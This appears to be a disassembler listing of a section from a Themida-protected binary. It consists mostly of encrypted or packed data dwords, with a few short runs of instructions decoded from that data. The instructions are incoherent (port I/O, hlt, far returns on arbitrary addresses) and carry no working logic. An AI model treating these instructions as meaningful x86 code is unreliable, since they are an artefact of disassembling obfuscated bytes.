		dd 54F95540h, 0A031F074h, 621A9408h, 8A1070ECh,	675B2480h
		dd 0DD2417ABh, 110025B0h, 88217825h, 6FA3004Ah,	7AAB57EDh
		dd 6785FF2h, 47FFFA00h,	6B6235D7h, 0C22300B6h, 4EB0730Bh
		dd 3776A210h, 1D300500h, 3FCC8E92h, 0EDA100AFh,	8D6EFCD1h
		dd 0BD0C0FACh, 806811A4h, 0D8B815DDh, 940030CEh, 8623AF97h
		dd 2771A110h, 8074713Bh, 576F9BFEh, 744CAB5Fh, 0A41315DAh
		dd 5D01B606h, 9F108796h, 998ECC61h, 54A24C05h, 9440C235h
		dd 0BCD24EFCh, 0A4B10D04h, 0C438A039h, 3800E6E9h, 891021B2h
		dd 16328BCh, 0D5B05526h, 522AF4A4h, 23034794h, 0B611A04Fh
		dd 58EC60E6h, 556F93F4h, 18AC9A56h, 2179E135h, 60A77C0Eh
		dd 0CF8EC0F4h, 3A7FCBE5h, 1E8F7103h, 901A8D9Fh,	3BDD8CCh
		dd 0C450FB0Dh, 4BC0B656h, 0B9989422h, 5FBE8880h, 484CFA33h
		dd 0C2AB91EFh, 0A479D0E3h, 25293335h, 43C16891h, 0BC8880F5h
		dd 0ED2D714Ch, 7CE90089h, 0B9C01D0Ch, 8D67975Dh, 2EC97B30h
		dd 0AAB68738h, 3BA4824Fh, 0B3D0A021h, 90FA4706h, 304F6FFAh
		dd 791ECA80h, 0D2D0A4DFh, 948704A4h, 30924928h,	985D1090h
		dd 0A698B62h, 9DF08667h, 93900011h, 0A4477C87h,	30C65979h
		dd 0E480BB5Fh, 0F4828077h, 9CB08350h, 78C1021h,	4079C38Eh
		dd 0B9BC6A11h, 9EB8DE03h, 289630A4h, 0D85790h, 0E7F1ACAh
		dd 63FCE08Bh, 0A1A460A0h, 8348E565h, 40C40C22h,	43F72B8h
		dd 25687FFAh, 13B500B7h, 63AE62FBh, 0B46918F2h,	0FC3B310Ah
		dd 0CC07204Ah, 0C4CA7F32h, 666F8B85h, 4A7C0800h, 48FB3513h
		dd 0FA319C6Eh, 85F6DA20h, 0AB7F5D08h, 8D182404h, 0C384EC83h
		dd 0C7F4B0F6h, 57621E44h, 0CCD280DDh, 0E091CE2Dh, 80FC8900h
		dd 0C592FB1Eh, 2411004Ch, 4741F5D9h, 5D02422Fh,	956BE88Dh
		dd 0CE206077h, 0B399049Ah, 90D190DDh, 0F3CA68BCh, 351F78C1h
		dd 0B0808EC9h, 76B6058h, 470EA434h, 0A5E4AEF1h,	0B000901Ch
		dd 0CC6EF48Fh, 0FA70A01Fh, 284F4C66h, 0D4045589h, 8A0014CCh
		dd 49F890D1h, 75B63813h, 67CAAC48h, 49FC0010h, 0B3D5C7AFh
		dd 19864C5Ch, 0BE58C354h, 3A27A030h, 0E71D4F88h, 863D4768h
		dd 0FE0BD272h, 1D90846Bh, 2B006CB3h, 3B2D23DCh,	0A813C79h
		dd 0D3DF6838h, 803E8AE8h, 0C8A41458h, 0D3C8CE8Ch, 28C2C43Ah
		dd 4C090C36h, 8CBB8601h, 991AF84Ch, 0BA5D4204h,	57678046h
		dd 10DA10A8h, 8DC05F00h
		dd 0C914D923h, 0B88A5510h, 0A48B82C4h, 5B023BCCh, 0FCACAA77h
		dd 1D05183Eh, 0FC8618h,	0CA30E661h, 252EC47Eh, 600FC024h
		dd 0A9CC3E8Ch, 3A131A1Fh, 0CB628804h, 69C1C482h, 0D2C2E900h
		dd 0D0E7155Fh, 106B84C9h, 12543508h, 0E2545E8Ah, 682B8506h
		dd 861920Ah, 3923940Fh,	0C584C080h, 0EED7763Fh,	57A530A8h
		dd 288A20D8h, 0C091109Bh, 646827C1h, 35A824DBh,	4FE4C84h
		dd 4C4C0848h, 1C406048h, 58C9808h, 93299FC1h, 8F1C8151h
		dd 0D0182173h, 80028DC2h, 0D2681503h, 94D445DDh, 0AC40E0B3h
		dd 9E552C1Eh, 42502220h, 29680CBEh, 31C41E0h, 0A613C507h
		dd 34C2617Ch, 0F54088Ah, 0EDEBC1BFh, 0F0A0E029h, 0CCDD6828h
		dd 87931C93h, 351CAC60h, 4CCC9A2Eh, 3224E424h, 40CC0764h
		dd 0E6F50010h, 5D4D7A94h, 84A502B4h, 437DDB12h,	0F26930E8h
		dd 0D42F8958h, 74641D28h, 33AD9418h, 1CCC238h, 8EE1141Bh
		dd 407A2EF4h, 0A61026A0h, 0EB4AF30Ah, 23CCC8Dh,	905C6E1Ch
		dd 0E462B8h, 0FA770608h, 0A4DB0C2Eh, 0D360FBD0h, 0A861FF16h
		dd 1CDF5400h, 12E0138Ch, 0F147Fh, 0C0D42CFCh, 90A0D8F0h
		dd 0B0E9895h, 0C05D0DDCh, 0AA070658h, 84BC0508h, 81447F4h
		dd 0C60F0FFCh, 1CE20020h, 17D9A650h, 64CAFB94h,	0B0C99Ch
		dd 68268AE4h, 9C31A328h, 24DCC248h, 8802B80Eh, 0E6D053E7h
		dd 0B83528B0h, 19A612EFh, 1100012Bh, 0FE8C991Dh, 0CE18A274h
		dd 60F96828h, 0ABB6388Bh, 2D041467h, 575E1D85h,	3E038D1h
		dd 605D0101h, 673A1B46h, 8EA40915h, 55988595h, 3EF51CC0h
		dd 27D8064Ch, 0E0855735h, 41343000h, 0CCF633CAh, 0A7661D11h
		dd 0D39454CDh, 1223E867h, 106A1774h, 0C9800443h, 0A4104C85h
		dd 0DD03351Eh, 0CD6168B6h, 1D2DA83Bh, 980985ACh, 0BB88001Dh
		dd 3ACCE956h, 1EFC1138h, 0D168ABF5h, 0FD34005Dh, 8EF1BACEh
		dd 0E910C259h, 0B8824B9Eh, 60004ED1h, 595A35A2h, 2058101Eh
		dd 7D156887h, 0DFDC0148h, 0D22100C0h, 252F054Ch, 4451A4DCh
		dd 89BF5D84h, 23C21A8h,	0A4C0DAB0h, 5040AB13h, 29ACA008h
		dd 0EC9FF6E7h, 0AFA417CEh, 9408431Ah, 280A7479h, 0E8E80CE7h
		dd 3D64A6h, 92956819h, 231918Dh, 94DFA150h, 98493C58h
		dd 927C28A8h, 3EA44803h, 5C107772h, 6882187Fh, 8CA05956h
		dd 173CEF38h, 4CFC5B00h, 0EC61B546h, 0E7097864h, 35110840h
		dd 0EC6C5875h, 2EC0F424h, 0C190E2D8h, 0E7919898h, 0D7104882h
		dd 0B25CE0A4h, 10908008h, 0DFA8002Bh, 0D13D17F3h, 6B3DE921h
		dd 78C430A2h, 0D1991D4h, 6220A4F9h, 0B871E838h,	9412BD79h
		dd 90412367h, 0E9E8C23Eh, 5030C321h, 463519D7h,	20FEA851h
		dd 26128298h, 8C248DE7h, 726870C0h, 34C182C0h, 0B30CD8D3h
		dd 14465416h, 0C3663800h, 14E705C1h, 0EC8713A4h, 62346526h
		dd 462A95Dh, 0D612A4C4h, 0F090DAC6h, 0B047081Dh, 98753040h
		dd 0CFA4C228h, 77C46954h, 2D8D3386h, 4000B548h,	6F38CBD5h
		dd 4889BBFh, 5DAC082Ch,	0E2888BCh, 14DAA42Ch, 0F4142A25h
		dd 82116886h, 6C7A58D0h, 4A80C032h, 0DD2D14A1h,	0D690517Fh
		dd 0F20254h, 0CC6DF490h, 0CB44205Ch, 0CA0C994Dh, 40631E01h
		dd 16785410h, 41BED8B1h, 8B0175DDh, 451020FCh, 58092439h
		dd 0D47E0000h, 0A4E8FD85h, 28F8612Fh, 0C910A22Bh, 66E17053h
		dd 82079498h, 904DDB7Ah, 8BD6A6Fh, 33A4D603h, 89380108h
		dd 0D111CFC8h, 35A5E414h, 0B9DE2432h, 891B1049h, 7E301300h
		dd 1CD47804h, 0F4700165h, 445486A1h, 7F83014h, 0CF2FF112h
		dd 8433D009h, 4C141D48h, 5203C318h, 6090BCDDh, 0B9836CECh
		dd 40628BF2h, 5876207Ch, 5BE85D79h, 0C4338E24h,	0D09CF1Fh
		dd 903CC135h, 3CB20844h, 9004D3C9h, 0A408B5FBh,	1387D860h
		dd 3DF868Eh, 0E6DE94DAh, 8A2496A0h, 8B086C5Eh, 7CA2021Dh
		dd 0D4017C22h, 2063144Ch, 644C0851h, 4C417F7Ch,	9076DCEFh
		dd 8E6812D4h, 19480128h, 84A25D35h, 6F9BF228h, 0CC306CD9h
		dd 46314C8h, 6A01DC4Dh,	68064612h, 0E8C8EAF5h, 0DA14AF11h
		dd 9D8E9Eh, 0A155A6BBh,	0A07F318Ch, 4CA0D590h, 9607ECCFh
		dd 0C51BCAD4h, 0F2BC810Ah, 819044ABh, 6072E0h, 98FC044Ch
		dd 4CD57845h, 0F702E0D0h, 22933690h, 0B880708Bh, 0E430FB95h
		dd 4D67BC02h, 310C635h,	0E0E844FCh, 800C2AEh, 0CC8D981Dh
		dd 13B729h, 625499EDh, 309E5D18h, 0DC5C333Ah, 34950218h
		dd 5855C421h, 0CA35024Ch, 7CA89391h, 0F7C12443h, 0C56081BFh
		dd 503646E1h, 2A84BAF8h, 1C41394h, 83EE093Ah, 334D1C68h
		dd 14D8258Ch, 2D8B0018h, 0C99D5DE7h, 0EA58C289h, 79FC83F0h
		dd 0C4190B59h, 5C89252Bh, 551B0460h, 1A8C9B27h,	8A80A60h
		dd 0C0BE2709h, 83645C4Ch, 777C5105h, 0FC06E2C2h, 183847B9h
		dd 886A8A23h, 0F7591335h, 818B2284h, 14130828h,	4CD603D4h
		dd 70B1C21Ch, 0EE8CA0E4h, 6CBA8879h, 4FDB0E07h,	92858AA8h
		dd 10080Fh, 3A9A2D36h, 0A8C22535h, 0BCB68C90h, 99E39E12h
		dd 97352481h, 27231682h, 4858B507h, 681ACC24h, 2D525D4Eh
		dd 0B0807484h, 30A4E079h, 9B20ED75h, 5249AD94h,	0A267CF0h
		dd 383CEC8Ah, 0DACE80A3h, 8D2DD66Eh, 0A83B002Bh, 0CB89971Eh
		dd 71006B1Ah, 0FAF2C8Fh, 5DF325BFh, 0FB80BC70h,	0B45EB750h
		dd 1DCB9B00h, 3582A738h, 0B052652Ch, 0BED8C224h, 2B43B080h
		dd 0A6044F21h, 347AFBE0h, 0F1C34283h, 0D021F213h, 270F4E0h
		dd 0F5D86120h, 88C09439h, 1400D71Bh, 0DE19CCCBh, 329BD1Fh
		dd 8B18687Ch, 0BC0194h,	26286CD2h, 2389000Eh, 0C8E77DFCh
		dd 647AC09Fh, 69E491h, 0A033FB74h, 52D4A05Fh, 68C92023h
		dd 7DA33518h, 47C2C0h, 0A41E9FB4h, 0F7ACC509h, 80066401h
		dd 30D54CDh, 9468E0DAh,	581060FDh, 39C5F1DDh, 0D1A910Fh
		dd 0A3896F99h, 0F0144E02h, 90CED5ADh, 44D3016Ch, 8A0B761Eh
		dd 8B4028A3h, 693800DFh, 18CC93B8h, 0B1143594h,	0F37D22C3h
		dd 3126137Ah, 5F856483h, 44805B11h, 262F8E17h, 0C0741CD7h
		dd 916DA447h, 608AF8A1h, 0D0BAEBCCh, 1D30CE00h,	4CBCB5C0h
		dd 0ED2D1F7Ah, 0BBE0A85h, 16A4410Ch, 89408A8Dh,	3504A48Eh
		dd 5C058AD1h, 0D9F4D25Fh, 92A658E1h, 0F7F88728h, 84B8350Ch
		dd 63D2F28h, 82D8B7Fh, 1A7009ADh, 32A4C6A8h, 90C84F5Bh
		dd 1426DC7Bh, 0A1493401h, 38E0D51Bh, 2507728h, 0A4558EE0h
		dd 0ACC9430Fh, 40D031A5h, 0F5D147F3h, 0A4128B73h, 0C8402C5Ah
		dd 0E0092BBDh, 0B5903926h, 52EF9412h, 494D5DCh,	16249E9Ch
		dd 78520885h, 188DECCCh, 38A68394h, 6C0019DFh, 0EE323F2Dh
		dd 7D4BD58Bh, 18E7121Fh, 3948C883h, 8AFE820Eh, 90FACA06h
		dd 0B5FA80A8h, 4A941D0Ch, 31050B0h, 277091ADh, 0FFF05D17h
		dd 45000204h, 9D1D0DC1h, 4AFDA48Dh, 1C28213Ch, 71D0FF90h
		dd 800290Ch, 608E889Ch,	1A4671Ah, 2CAD798Ah, 8BA63E68h
		dd 800FBE90h, 0FDA11CF4h, 34C1ADAh, 4D39822h, 68054CA6h
		dd 6C872928h, 0D9546673h, 3060F876h, 0C58C124Eh, 0BF7C918Fh
		dd 0ABCC00E5h, 0C018C95Bh, 34F2E469h, 0E24D136Ch, 5F245074h
		dd 0C48B9709h, 62889FAh, 3E317FB0h, 3D0BE021h, 0C04450FCh
		dd 18711D4Fh, 0EC348D94h, 481F7ADAh, 7AEC30h, 5508967Eh
		dd 0DED567BFh, 1B8E7A16h, 4EAA9700h, 0E8AF584h,	0B2F3816Eh
		dd 80965C87h, 677ADD4Ah, 85008EB8h, 0B133CB71h,	18E704B9h
		dd 200E8493h, 0D932C1E8h
		dd 154585Eh, 0D1459722h, 0AA46E04Ah, 0C7B51A07h, 0F14610DAh
		dd 938D0C68h, 7400181h,	87869728h, 5107960h, 3112F96Eh
		dd 0F0813143h, 7B58834Dh, 3A594B27h, 220D8D08h,	0D469716Eh
		dd 163CA3AAh, 82B58091h, 0CEF065FBh, 1C9401BDh,	8BD5A963h
		dd 3B78F0ECh, 0B80C0AF4h, 4056D6A3h, 67900CDDh,	1068DF27h
		dd 0D30CDC78h, 217E31CBh, 6EA214F3h, 53060860h,	785A1764h
		dd 0E34160Ch, 0A6C1188Dh, 4021379Ch, 5EE1A150h,	49D9D40Dh
		dd 0EC6E9A18h, 0C0FAF3B1h, 0F938950h, 85072292h, 8BB518DEh
		dd 0F13609F7h, 0BE5E0230h, 0D41FCB8Ah, 93E9F3C0h, 0C00AB02Ah
		dd 5ED19901h, 0AD15A312h, 0FBF08047h, 2CEF8C48h, 5C0F01h
		dd 0B34FF9AAh, 32F07953h, 0F89308A0h, 0D178A167h, 0C0E6633h
		dd 0F1203490h, 8248FDC8h, 1757000Ch, 0D03B1D62h, 0F32A30A3h
		dd 8A21F028h, 7FE43E00h, 9971461Bh, 5689028Fh, 19CBAA7Eh
		dd 0C9939890h, 0A7B06C60h, 1F2382B1h, 0CD9890Dh, 78183905h
		dd 165B9701h, 20BB4BAAh, 3FA6A20h, 34426ABAh, 480FD8F3h
		dd 6BD8F25h, 0E10EC5Fh,	5610D722h, 70C9AA26h, 0D9A60F09h
		dd 760C277Ah, 24F9F3C3h, 5C5C11h, 67645F65h, 6C9039E7h
		dd 83AFECA3h, 2805B1E3h, 0D36012CBh, 49FB8680h,	0EEBB2EEBh
		dd 0EF050C0Eh, 0E0C05248h, 0E85EF9C1h, 0A534181Bh, 588D9001h
		dd 0C788DC00h, 35BA7AA2h, 0DBA7064Fh, 0E86F3893h, 508E0F28h
		dd 0A465D800h, 2893D2B4h, 301C923Dh, 0C3980BAFh, 341F5EC9h
		dd 9697A5DCh, 8F20BA00h, 94E22B0h, 0BE5C15AAh, 5E093810h
		dd 3493F909h, 10AC2C75h, 8B313D2Dh, 0D4769Dh, 0BD0F7F32h
		dd 9C065AFCh, 0C56E3438h, 14F97340h, 28B85C4Eh,	0DF880F0Ch
		dd 0AB2434A9h, 0E0A80898h, 0AA5E560Eh, 6444922Ch, 9E003FB0h
		dd 2A4F65BBh, 0B90FA900h, 18CD21ADh, 0FFB72434h, 1B6C80A4h
		dd 0C6D1C564h, 4FFB9800h, 0F18DFA61h, 547431A3h, 23C38C48h
		dd 2F2B14A4h, 74B52488h, 0F94E0503h, 20B060FBh,	0C9601F8Eh
		dd 0C3A98A02h, 80176673h, 9146FAC0h, 2C9E16h, 0EC0A5728h
		dd 194DD7B7h, 0AC27C570h, 0FF1BFC40h, 7C7FC3AAh, 0C8D8302Ch
		dd 0D4222B19h, 0ACB9F624h, 0BF1C791Ch, 242A4BC0h, 1DF8D0Dh
		dd 0F93E712Dh, 30C5D17Eh, 0CC91D288h, 0D8733F8Dh, 48E8D818h
		dd 60128CC5h, 7C0059Fh,	9CA8159Dh, 0DC64FBC0h, 0F51EFAA7h
		dd 4C14274Bh, 8F150F08h, 0D96EA185h, 8C410120h,	0BBE0AAF1h
		dd 82380375h, 0A36DF38Eh, 50061FC3h, 94B49384h,	0CBD71570h
		dd 6229341Ch, 3C29A8h, 986A9C3Dh, 0F1D2FCBh, 7B465ACFh
		dd 0AC20C15Fh, 448C5064h, 14012493h, 86958040h,	0EE8E61FBh
		dd 0DEB1F02h, 69AD1234h, 0F9A3FC08h, 1025195Ch,	8FC42E6h
		dd 3F1ECB00h, 0C79BC8Ch, 0D338BE5Bh, 0CF702C90h, 7860BB80h
		dd 6F0F094Fh, 0D8A922B5h, 0E83BE00h, 0E91C5F42h, 1C383684h
		dd 177C248Bh, 7BFD531h,	30FAC1A2h, 0EC81DBC9h, 626046Eh
		dd 33281C89h, 0CB112010h, 0E2B86BCh, 0E581580Ch, 0F95690B2h
		dd 4EA8F8FDh, 1C597E79h, 1D01F1F5h, 3DC58138h, 80130222h
		dd 60C6260Ch, 0DEA29CCh, 1808E95Dh, 1E5FB52h, 42BB533Eh
		dd 0F740C438h, 0BDE9D30Ch, 84C42763h, 46C50500h, 0C80142ACh
		dd 5907A12Dh, 258502F5h, 5240487h, 33993E7Ah, 63ED382h
		dd 0D4AB189Ch, 16BBEBEh, 8131B613h, 0F711C5F6h,	5EF50180h
		dd 7FE9521Ch, 56CA866Ah, 10F45B8h, 58871E44h, 83D6148Bh
		dd 5930D8A6h, 1D0041BFh, 0E7817221h, 609175FBh,	6D090C4Bh
		dd 0C17C785Dh, 0F4E9030Ch, 5268525Bh, 0C17C4F5h, 26A80C24h
		dd 0C836E910h, 0FA86C750h, 2B1567FEh, 0CD548734h, 68951808h
		dd 272FAF2Ah, 7097E910h, 69D0BA05h, 743B80D5h, 371AD918h
		dd 19C8D331h, 56E5E922h, 6065FF03h, 12215807h, 5E55450h
		dd 0A22D0842h, 63C3A1Fh, 8BF8B683h, 4EFD8BC6h, 30F2779Bh
		dd 550E94CAh, 5D1906BDh, 1E3C7533h, 8704C210h, 0E75C9CCEh
		dd 887C02C6h, 438630E9h, 0AC68AD24h, 3C554A66h,	0F440281Ch
		dd 18B800C4h, 25596D54h, 673F2791h, 0B2D0063h, 2934F7E4h
		dd 4A580FC2h, 0D501EA87h, 566E85E9h, 8348B57Ah,	0CDB74593h
		dd 0A5D26E6h, 0BA844EE9h, 1539F18Ch, 330840F8h,	66BA2C65h
		dd 3B96DE21h, 22F8E90Ch, 9EC510D5h, 273587CCh, 61E1EEEBh
		dd 0CB290E8Eh, 0F7D0FC59h, 5D94DEDDh, 804221F5h, 7423A5B9h
		dd 0E91CC101h, 8FFD8102h, 4CF2069Eh, 546640CAh,	4389DF05h
		dd 0E8831DE0h, 0E986A1A4h, 338F67A6h, 2970D314h, 0BF574003h
		dd 356769Ah, 15FFA92h, 189581C2h, 570C0C0Bh, 0E9663B06h
		dd 3B3EDBDDh, 9B991001h, 53870EFBh, 0B636338Dh,	0F50D0631h
		dd 3D264532h, 2909A032h, 19C6D788h, 10712214h, 81EBD1h
		dd 4B4546F3h, 5BD88957h, 7B6BE924h, 532FB880h, 6250BBAh
		dd 61E269E3h, 527BEEC1h, 0BB38CF7Ch, 5AD08201h,	0C02DD8F7h
		dd 0A16DFF55h, 449380A2h, 0B0034966h, 116C5C02h, 0B05B9C0Ah
		dd 676861CAh, 0E0D24C4Dh, 0A03B52F2h, 0A98D40F7h, 7A02539Ah
		dd 0D2E9D089h, 0FDB3AF87h, 2C8B29A0h, 0C4DA829h, 95E3E945h
		dd 0E850C010h, 0C3E023DBh, 6852581Ah, 3E03AD02h, 0C6037A60h
		dd 4728A559h, 4305D003h, 0E1CA75E8h, 188F24A3h,	159EEDC1h
		dd 45269622h, 0D66903DBh, 0AE1A49Ah, 0D9AD3421h, 304CE6EEh
		dd 5366A0CCh, 59B10351h, 0D1F6C9FEh, 0E980040Eh, 5F16225h
		dd 285D4088h, 5B6637DEh, 7F3BE308h, 77C44B61h, 0B1EC6AB6h
		dd 99E59137h, 23884454h, 68510557h, 598D77ABh, 1F4D9FE0h
		dd 895B5592h, 0B0181663h, 2CB010BEh, 0C1462F04h, 0F4C007E6h
		dd 9B21A04h, 5EF301A4h,	39E9EF30h, 0AF11D4Dh, 0EE1C8BDEh
		dd 44FD9A52h, 48A13444h, 211BC373h, 40E12DCDh, 895206C6h
		dd 0D658E275h, 5DF3816Eh, 4888EA4Fh, 0A43A6413h, 0ECA46B62h
		dd 0AAEDB25Bh, 8990A140h, 0D141E90Ch, 0C8003036h, 87B65259h
		dd 0E678E680h, 6170BFC6h, 81A824EFh, 3F6EF07h, 8EC3315Fh
		dd 68180DDCh, 42CD6FBDh, 78C6BA6Bh, 0F1C61EB0h,	0B2EDE5Eh
		dd 72F8685Fh, 573B1EB0h, 0E7F86681h, 0EC54E812h, 129C908Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		adc	ch, [esi]
		xor	[eax], edi
		in	eax, dx
		add	al, [ebp+64h]
		and	esi, [eax-1E4557AEh]
		db	26h
		push	ss
		push	0C03733C5h
		sar	dword ptr [eax+60303912h], 0B6h


loc_4E3F0F:				; CODE XREF: Themida_:004E3F88j
		js	short loc_4E3F12
		inc	ecx


loc_4E3F12:				; CODE XREF: Themida_:loc_4E3F0Fj
		sal	eax, 35h
		idiv	byte ptr [eax+ecx+0Fh]
		sub	edx, 1BB36EE6h
		dec	edx
		adc	[esp+ecx+6A2B0D58h], bl
		xchg	ebp, [eax-0Ch]
		xor	[edx], dl
		insb
		and	al, 2
		db	26h
		push	edx
		jz	short loc_4E3FA6
		and	al, 0DAh
		xchg	eax, edi
		inc	edx
		push	es
		jo	short loc_4E3F80
		rep out	82h, eax	; DMA page register 74LS612:
					; Channel 3 (hard disk DMA) (address bits 16-23)
		hlt
; ---------------------------------------------------------------------------
		dw 29C6h
		dd 0CED08E2Ah, 4159359Ah, 68570567h, 57521308h,	31ACB411h
		dd 322C118Bh, 7BBF2D80h, 93A7719h, 7F5FF92Ch, 0F5520039h
		dd 0D1DDF74Fh, 1B8B8EDh, 3DEF4C35h, 6412C2E9h, 5B2ED902h
		dd 2208CE01h
; ---------------------------------------------------------------------------


loc_4E3F80:				; CODE XREF: Themida_:004E3F38j
		inc	ebp
		cmp	esi, [edi+42EFAEAh]
		pop	edx
		jno	short loc_4E3F0F
		inc	eax
		mov	[edx+61h], ecx
		lodsd
		fiadd	dword ptr [edi+ebx+1Dh]
		jmp	short loc_4E3FE0
; ---------------------------------------------------------------------------
		db 16h,	4, 15h
		dd 0BD84FB01h, 8130849h, 5A021C78h
		db 68h,	0C7h
; ---------------------------------------------------------------------------


loc_4E3FA6:				; CODE XREF: Themida_:004E3F31j
		inc	eax
		inc	esi
		cmpsb
		out	0DEh, al
		retf	0B7E6h
; ---------------------------------------------------------------------------
		dw 95FAh
		dd 0F04CEC54h, 5531E983h, 6BE26900h, 525B4819h,	32690F7h
		dd 0D3B8505Ah, 53C26E61h, 924CB28Eh, 0B6240F30h, 871E30C0h
		dd 8907ACFAh, 0A2363252h
; ---------------------------------------------------------------------------


loc_4E3FE0:				; CODE XREF: Themida_:004E3F93j
		inc	esi
		pop	edi
		push	esi
; ---------------------------------------------------------------------------
		db 0C5h
		dd 0C8318C8h, 4C49E5E9h, 0FBEB24BDh, 50F4F301h,	0E3E43BACh
		dd 0A4FCC003h, 1211349h, 0B5F6DD48h, 32336F0Bh,	0E932E8ADh
		dd 0BD7D54ECh, 6CF791E8h, 4F3BFDCh, 5731AFCDh, 0B9519010h
		dd 36781688h, 0CA533Eh,	6508C812h, 0E726E916h, 8751B204h
		dd 622C3824h, 92BE6547h, 31EE84D5h, 0EF343DC7h,	7530E92Ch
		dd 0D2BF0A4Bh, 43DD3730h, 591CC22Ah, 7E591A4h, 1E142CF5h
		dd 5DEE0681h, 0FD3D520h, 2942830Ch, 83E10F3h, 144AE93Dh
		dd 82857675h, 0E09CCD8Ah, 1C96055Bh, 7B0FF382h,	625F429Ch
		dd 91D2E6CCh, 3B893DE2h, 6E094474h, 0B4DDEA2h, 77625A07h
		dd 0A806413h, 789B6261h, 9A434DBh, 0AC085B08h, 0FDE94FD2h
		dd 4168D20Ah, 2874FF55h, 53924044h, 3E38924h, 0BE80DB21h
		dd 511A0387h, 3DD67EF7h, 0A99834CEh, 87F61171h,	5E120134h
		dd 6EE91DC1h, 64ACE535h, 0FFC60714h, 82EBC253h,	5048A466h
		dd 67B000F0h, 0CD81420Bh, 20191833h, 3E26D005h,	0E91B7D1Fh
		dd 58941826h, 0D21C5CF7h, 8D34D499h, 0A6C7F65Fh, 620F24F4h
		dd 4A02449Ch, 0FB43B066h, 43292A2Ah, 205876ACh,	590C1FBBh
		dd 0BC5FFE01h, 86F66012h, 0E27736BEh, 0E6816303h, 0F49843B7h
		dd 258D5E80h, 0F196C068h, 17C94DF5h, 47FEE926h,	9474888Ah
dword_4E414C	dd 0AA2C5A12h, 0E07B30E9h, 305CB45Eh, 5866E616h, 534B5301h
					; DATA XREF: ___:off_43A50Co
		dd 0FEE967B7h, 76641C5Dh, 91E912F0h, 0E186C97Ch, 0DEC3ACD7h
		dd 0E96194A1h, 865161FBh, 0DC010C8Bh, 58967377h, 0DD531A32h
		dd 5206C496h, 4492BA0Ch, 14F996FFh, 5A7F003Ch, 0E831FE04h
		dd 90C1E65Dh, 1F3EE676h, 2C429DC8h, 2BA24C4h, 49602471h
		dd 2C053740h, 0A479BE28h, 0B2660B01h, 31DBE91Dh, 13050D62h
		dd 802CE51Bh, 34E27CD2h, 0D8E9EC08h, 323B39F5h,	88CD4B9Ah
		dd 61160B2h, 5CA14087h,	0DA6479E9h, 0A3B55B2Ah,	168E7B04h
		dd 0CF00FB25h, 0F680C6FEh, 0F11AB170h, 7CC285Ah, 454904C1h
		dd 489C207Ah, 932E7C02h, 11CD954h, 2580883Eh, 61100DC1h
		dd 0CD7D0160h, 213F5165h, 0C108E61Eh, 4C5F130Ch, 66695C19h
		dd 22BE929Ch, 0A8E4E244h, 0F904C1E1h, 0A18F5C01h, 9D8BFE39h
		dd 42599A13h, 44C6102h,	57B9163h, 0E910152Fh, 80F6939Ah
		dd 0EE87AEDBh, 10B9C3AEh, 0F70C8652h, 3F105966h, 0E90C282Ah
		dd 404A4D3Fh, 2DE6D0FCh, 3870DB09h, 0D602811Ch,	9050EB12h
		dd 5CE57BC5h, 0FA339B09h, 0A2B35D68h, 0F8824155h, 0B0812F86h
		dd 347A1E88h, 3FA5B901h, 0C2200D43h, 56720D63h,	43CC5545h
		dd 0C1A80CADh, 480E05E8h, 517D2Dh, 58C589DAh, 297A101h
		dd 682EEA2Ch, 72644F2Dh, 6307D738h, 1713739Fh, 0F54FCC15h
		dd 8E2F85D3h, 497B4E8Ah, 0D10EC3D0h, 0FE139EAh,	26F2FF84h
		dd 0BAD854AAh, 0B579CE62h, 8C1E5126h, 0F75B6671h, 171F2A76h
		dd 0FADC5239h, 810AD697h, 0EE8EC7ECh, 21F3096Bh, 0E1895144h
		dd 48112721h, 0FF006435h, 9D4C1C77h, 82103333h,	0CBACF99Ch
		dd 0C1BF4A81h, 0D021D656h, 7ACD08E7h, 0A7401504h, 5DF67E7Ch
		dd 0EB28961Ah, 0BB2C9808h, 2C388CCh, 35245396h,	0A2D963C2h
		dd 0E0DAF78Dh, 3E3CBED2h, 0E9376ECh, 3412C985h,	994F6887h
		dd 2ABEEE30h, 78DB2969h, 162C10A3h, 0B73677A1h,	111C3068h
		dd 3C19ED8Bh, 912D3D2Ch, 9940B63Eh, 95179463h, 2116822Ah
		dd 130505C6h, 7DB7886Eh, 0F801D2A8h, 0DC26A2B3h, 0A70CEACFh
		dd 1120591h, 876008D9h,	0B1B3B004h, 39168981h, 4D45B062h
		dd 38735961h, 62C56873h, 7A046986h, 0C5500ECAh,	794E53F2h
		dd 3189FE58h, 86C790D8h, 4D760BEBh, 5E8EEF29h, 973AFD61h
		dd 0A5FAE524h, 0E94107C7h, 810B3BC4h, 54C0E343h, 1357E19h
		dd 0A310106Ch, 181200Ah, 834AC508h, 64E1E961h, 880F5274h
		dd 45D2F6DAh, 14B33AA0h, 4A538503h, 39F1571Ch, 0C26F832Fh
		dd 0DEAA5566h, 3EB8020Ch, 0D50114CCh, 0A38FBB84h, 2A4B2459h
		dd 432EE103h, 0F4F1F90Ah, 7D51A726h, 4AA4E2CDh,	41B5CAC3h
		dd 2844E952h, 16044C42h, 0FB4051D3h, 1C9ED0BFh,	0D70104CEh
		dd 8BF8215Ah, 0C2090069h, 3168E2D1h, 656B9612h,	0AEDD51Bh
		dd 9CD1073Bh, 6B300425h, 0DC9B00Ch, 8C330FFEh, 0C8081029h
		dd 191F2493h, 0CEC331A9h, 0FE5A14FAh, 89EF7906h, 3010D25Ch
		dd 2D80C9D5h, 0AD500F60h, 0DE6B5F3Ah, 0D8298120h, 87E24C05h
		dd 9856593Eh, 5E1AD91Ah, 4BB3C48Fh, 485ACA34h, 0D2102C8Fh
		dd 0E0F26809h, 0B4FFE945h, 7B6231C7h, 0FA2D741Ah, 7FE76816h
		dd 40DCA8CCh, 6C9C5A80h, 46EE6252h, 35A92046h, 926AAC76h
		dd 18BF74B7h, 0EA8F1655h, 0F6109803h, 56015A80h, 4E080146h
		dd 0FC1DD365h, 7F123FE7h, 70002068h, 72B15B83h,	0F3C962E9h
		dd 0A6E015B6h, 9998F6AFh, 0A600AD4Fh, 6DCE8166h, 0BD0ADF43h
		dd 4E3E4FBDh, 402E6802h, 0A50A7E9h, 0D5D1A783h,	423669h
		dd 1B8011A5h, 0F432BB53h, 901F699h, 76F9E9D8h, 0F5CA6F98h
		dd 653F7712h, 29E6D909h, 0B7F020CFh, 7DEFC022h,	22695803h
		dd 0C088C787h, 0F8298B17h, 2D35F59h, 0E9E78957h, 662D69E8h
		dd 40756720h, 0C709014Ch, 77C2958h, 54845FCCh, 0E720DB85h
